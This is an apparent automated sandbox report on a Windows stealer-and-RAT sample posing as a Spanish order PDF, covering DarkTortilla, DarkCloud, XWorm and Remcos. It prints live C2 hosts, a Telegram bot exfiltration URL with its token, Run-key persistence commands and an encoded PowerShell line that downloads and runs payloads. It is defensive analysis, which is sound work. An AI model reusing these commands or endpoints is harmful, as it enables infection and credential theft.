darkcloud | 829fad413d5103822bc05f8cbf726203d8a57be3da077e0deaa3a901b6be1efa

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250610-en
resource tags

arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
submitted
13/10/2025, 10:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Pedido 202510130ESPA.pdf.exe
Size 698KB
Sample251013-m2wntaxxcw
SHA256 829fad413d5103822bc05f8cbf726203d8a57be3da077e0deaa3a901b6be1efa
MD5 9898b1c4dd84e3820c2a0dd239e204be
SHA1 c865d8e2212b7f111d72f2b295061fe7f0a7baa3
SHA512 fa9f609e167d85cd912c0ce31be68389d626f574becef0a8b8af796c44d174194a43fb7a956ac5584598a29ca958c843a59f7b4f4ecadc7617b95eb68acb86f3
SSDEEP 12288:2ArMDSNgFd/GxkAlJX5kcu+FdX1uxwWFEJqqvqHC54:lFgb/GiAljl1uxwWAqZw4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

es xworm collection crypter defense_evasion discovery darkcloud darktortilla remcos xworm loader persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

rency.ydns.eu:59013
wqo9.firewall-gateway.de:59013
twart.myfirewall.org:59013

Mutex

G0ZySqZ6IilUETwE

Attributes

Install_directory
%AppData%
install_file
Roaming\WD\WDUpdate2025.exe

aes.plain

Extracted

Family

darkcloud

https://api.telegram.org/bot6274587098:AAEvD64fpPpZLNdkxKF7wS-y2GX94H3OkSM/sendMessage?chat_id=6265187542

Extracted

Family

remcos

Version

3.8.0 Pro

Botnet

ES XWORM

rency.ydns.eu:2404
wqo9.firewall-gateway.de:4045
code1.ydns.eu:9302

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
System.exe
copy_folder
MicroSoft Outlook
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
TCWd3hQ5LP1Fcm2U5B0fn3xuWp5u5rQsC2Y-DJRO57
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
MicroSoft
take_screenshot_option
false
take_screenshot_time
5

Signatures

DarkCloud
An information stealer written in Visual Basic.
stealer darkcloud
Darkcloud family
darkcloud
Darktortilla
DarkTortilla is a highly configurable .NET based crypter that delivers a wide range of information stealers.
loader crypter darktortilla
Darktortilla family
darktortilla

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3544-119-0x00000000005E0000-0x00000000005F2000-memory.dmp	family_xworm

Detects Darktortilla crypter. 1 IoCs

resource	yara_rule
behavioral1/memory/5132-5-0x0000000004DC0000-0x0000000004E02000-memory.dmp	darktortilla

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
31	5868	powershell.exe
33	5868	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
31	5868	powershell.exe
33	5868	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\Control Panel\International\Geo\Nation	WindowsTime.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\Control Panel\International\Geo\Nation	WindowsTime.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WDUpdate2025.lnk	WORDS.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WDUpdate2025.lnk	WORDS.exe

Executes dropped EXE 25 IoCs

pid	Process
4800	WindowsTime.exe
5092	WindowsTime.exe
3908	WindowsTime.exe
5112	WindowsTime.exe
3696	POWERPOINT.exe
2968	WORDS.exe
688	NOTEPAD.exe
6104	WindowsTime.exe
896	DOCUMENT.exe
3996	POWERPOINT.exe
1520	WORDS.exe
3596	NOTEPAD.exe
2020	DOCUMENT.exe
1316	rtf.exe
3544	WORDS.exe
4600	POWERPOINT.exe
5112	boorishness.exe
3312	rtf.exe
516	WORDS.exe
3096	rtf.exe
1572	POWERPOINT.exe
3192	rtf.exe
2444	DOCUMENT.exe
3412	boorishness.exe
5172	rtf.exe

Loads dropped DLL 1 IoCs

pid	Process
3544	WORDS.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe
Key opened	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\boophilus = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\boorishness.exe"	POWERPOINT.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsTime = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsTime.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rtf = "C:\\Users\\Admin\\AppData\\Roaming\\rtf.exe"	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 4800 set thread context of 5112	4800	WindowsTime.exe	105
PID 3908 set thread context of 6104	3908	WindowsTime.exe	107
PID 2968 set thread context of 3544	2968	WORDS.exe	118
PID 3696 set thread context of 4600	3696	POWERPOINT.exe	119
PID 1520 set thread context of 516	1520	WORDS.exe	129
PID 3996 set thread context of 1572	3996	POWERPOINT.exe	134
PID 1316 set thread context of 3192	1316	rtf.exe	154
PID 5112 set thread context of 3412	5112	boorishness.exe	155
PID 3312 set thread context of 5172	3312	rtf.exe	156

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPOINT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPOINT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	boorishness.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NOTEPAD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DOCUMENT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rtf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pedido 202510130ESPA.pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NOTEPAD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rtf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPOINT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WORDS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsTime.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DOCUMENT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWERPOINT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	boorishness.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rtf.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 12 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
836	cmd.exe
4836	PING.EXE
3744	cmd.exe
4616	PING.EXE
4836	PING.EXE
3464	PING.EXE
5156	cmd.exe
5984	PING.EXE
4824	cmd.exe
3972	PING.EXE
2672	PING.EXE
5920	cmd.exe

Runs ping.exe 1 TTPs 7 IoCs

Remote System Discovery

T1018

pid	Process
4836	PING.EXE
2672	PING.EXE
4616	PING.EXE
4836	PING.EXE
3464	PING.EXE
5984	PING.EXE
3972	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3544	WORDS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
5132	Pedido 202510130ESPA.pdf.exe
4800	WindowsTime.exe
4800	WindowsTime.exe
4800	WindowsTime.exe
4800	WindowsTime.exe
4800	WindowsTime.exe
3908	WindowsTime.exe
3908	WindowsTime.exe
3908	WindowsTime.exe
5868	powershell.exe
5868	powershell.exe
3696	POWERPOINT.exe
3696	POWERPOINT.exe
2968	WORDS.exe
2968	WORDS.exe
688	NOTEPAD.exe
896	DOCUMENT.exe
688	NOTEPAD.exe
896	DOCUMENT.exe
2968	WORDS.exe
4012	powershell.exe
4012	powershell.exe
3696	POWERPOINT.exe
688	NOTEPAD.exe
3996	POWERPOINT.exe
3996	POWERPOINT.exe
1520	WORDS.exe
3996	POWERPOINT.exe
1520	WORDS.exe
3596	NOTEPAD.exe
3596	NOTEPAD.exe
688	NOTEPAD.exe
2020	DOCUMENT.exe
2020	DOCUMENT.exe
688	NOTEPAD.exe
688	NOTEPAD.exe
688	NOTEPAD.exe
688	NOTEPAD.exe
688	NOTEPAD.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	5132	Pedido 202510130ESPA.pdf.exe
Token: SeDebugPrivilege	4800	WindowsTime.exe
Token: SeDebugPrivilege	3908	WindowsTime.exe
Token: SeDebugPrivilege	5868	powershell.exe
Token: SeDebugPrivilege	3696	POWERPOINT.exe
Token: SeDebugPrivilege	2968	WORDS.exe
Token: SeDebugPrivilege	688	NOTEPAD.exe
Token: SeDebugPrivilege	896	DOCUMENT.exe
Token: SeDebugPrivilege	4012	powershell.exe
Token: SeDebugPrivilege	3996	POWERPOINT.exe
Token: SeDebugPrivilege	1520	WORDS.exe
Token: SeDebugPrivilege	3596	NOTEPAD.exe
Token: SeDebugPrivilege	2020	DOCUMENT.exe
Token: SeDebugPrivilege	1316	rtf.exe
Token: SeDebugPrivilege	3544	WORDS.exe
Token: SeDebugPrivilege	5112	boorishness.exe
Token: SeDebugPrivilege	3312	rtf.exe
Token: SeDebugPrivilege	516	WORDS.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3544	WORDS.exe
4600	POWERPOINT.exe
1572	POWERPOINT.exe
3192	rtf.exe
3412	boorishness.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5132 wrote to memory of 3744	5132	Pedido 202510130ESPA.pdf.exe	84
PID 5132 wrote to memory of 3744	5132	Pedido 202510130ESPA.pdf.exe	84
PID 5132 wrote to memory of 3744	5132	Pedido 202510130ESPA.pdf.exe	84
PID 3744 wrote to memory of 2672	3744	cmd.exe	86
PID 3744 wrote to memory of 2672	3744	cmd.exe	86
PID 3744 wrote to memory of 2672	3744	cmd.exe	86
PID 5132 wrote to memory of 5920	5132	Pedido 202510130ESPA.pdf.exe	87
PID 5132 wrote to memory of 5920	5132	Pedido 202510130ESPA.pdf.exe	87
PID 5132 wrote to memory of 5920	5132	Pedido 202510130ESPA.pdf.exe	87
PID 5920 wrote to memory of 4616	5920	cmd.exe	89
PID 5920 wrote to memory of 4616	5920	cmd.exe	89
PID 5920 wrote to memory of 4616	5920	cmd.exe	89
PID 3744 wrote to memory of 5824	3744	cmd.exe	94
PID 3744 wrote to memory of 5824	3744	cmd.exe	94
PID 3744 wrote to memory of 5824	3744	cmd.exe	94
PID 5920 wrote to memory of 4836	5920	cmd.exe	99
PID 5920 wrote to memory of 4836	5920	cmd.exe	99
PID 5920 wrote to memory of 4836	5920	cmd.exe	99
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5092	4800	WindowsTime.exe	104
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 4800 wrote to memory of 5112	4800	WindowsTime.exe	105
PID 5920 wrote to memory of 3908	5920	cmd.exe	106
PID 5920 wrote to memory of 3908	5920	cmd.exe	106
PID 5920 wrote to memory of 3908	5920	cmd.exe	106
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 3908 wrote to memory of 6104	3908	WindowsTime.exe	107
PID 5112 wrote to memory of 5868	5112	WindowsTime.exe	110
PID 5112 wrote to memory of 5868	5112	WindowsTime.exe	110
PID 5112 wrote to memory of 5868	5112	WindowsTime.exe	110
PID 5868 wrote to memory of 3696	5868	powershell.exe	112
PID 5868 wrote to memory of 3696	5868	powershell.exe	112
PID 5868 wrote to memory of 3696	5868	powershell.exe	112
PID 5868 wrote to memory of 2968	5868	powershell.exe	113
PID 5868 wrote to memory of 2968	5868	powershell.exe	113
PID 5868 wrote to memory of 2968	5868	powershell.exe	113
PID 5868 wrote to memory of 688	5868	powershell.exe	114
PID 5868 wrote to memory of 688	5868	powershell.exe	114
PID 5868 wrote to memory of 688	5868	powershell.exe	114
PID 5868 wrote to memory of 896	5868	powershell.exe	115
PID 5868 wrote to memory of 896	5868	powershell.exe	115
PID 5868 wrote to memory of 896	5868	powershell.exe	115
PID 6104 wrote to memory of 4012	6104	WindowsTime.exe	116
PID 6104 wrote to memory of 4012	6104	WindowsTime.exe	116
PID 6104 wrote to memory of 4012	6104	WindowsTime.exe	116
PID 2968 wrote to memory of 3544	2968	WORDS.exe	118

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3001560346-2020497773-4190896137-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	WORDS.exe

C:\Users\Admin\AppData\Local\Temp\Pedido 202510130ESPA.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Pedido 202510130ESPA.pdf.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5132
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "WindowsTime" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 7
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2672
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "WindowsTime" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:5824
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c ping 127.0.0.1 -n 9 > nul && copy "C:\Users\Admin\AppData\Local\Temp\Pedido 202510130ESPA.pdf.exe" "C:\Users\Admin\AppData\Roaming\WindowsTime.exe" && ping 127.0.0.1 -n 9 > nul && "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5920
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4616
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4836
- - C:\Users\Admin\AppData\Roaming\WindowsTime.exe
    "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Users\Admin\AppData\Roaming\WindowsTime.exe
      "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6104
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFAATwBXAEUAUgBQAE8ASQBOAFQALgBlAHgAZQAnACwAIAA8ACMAcABiAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAG4AdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAGkAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApACkAPAAjAHUAcwBlACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFcATwBSAEQAUwAuAGUAeABlACcALAAgADwAIwB5AGkAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAZABhACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGoAcwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcATwBSAEQAUwAuAGUAeABlACcAKQApADwAIwBwAGUAaQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYgBtAGgALQBnAGwAbwBiAGEAbAAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAE4ATwBUAEUAUABBAEQALgBlAHgAZQAnACwAIAA8ACMAcgB5AGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHMAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHMAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBOAE8AVABFAFAAQQBEAC4AZQB4AGUAJwApACkAPAAjAHkAbQBtACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAG0AaAAtAGcAbABvAGIAYQBsAC4AbQB5AGYAaQByAGUAdwBhAGwAbAAuAG8AcgBnAC8ARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwAsACAAPAAjAGMAZQBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgB6AHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAegBmAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwApACkAPAAjAGEAeQBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAcQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHUAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApADwAIwB1AHoAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB5AHUAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaABrAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBPAFIARABTAC4AZQB4AGUAJwApADwAIwB2AHgAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBqAHIAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABsAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATgBPAFQARQBQAEEARAAuAGUAeABlACcAKQA8ACMAdQBzAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYQBoAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAaQBrACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQATwBDAFUATQBFAE4AVAAuAGUAeABlACcAKQA8ACMAdgB3AHoAIwA+AA=="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4012
      - C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
        
        "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3996
        
        C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
        
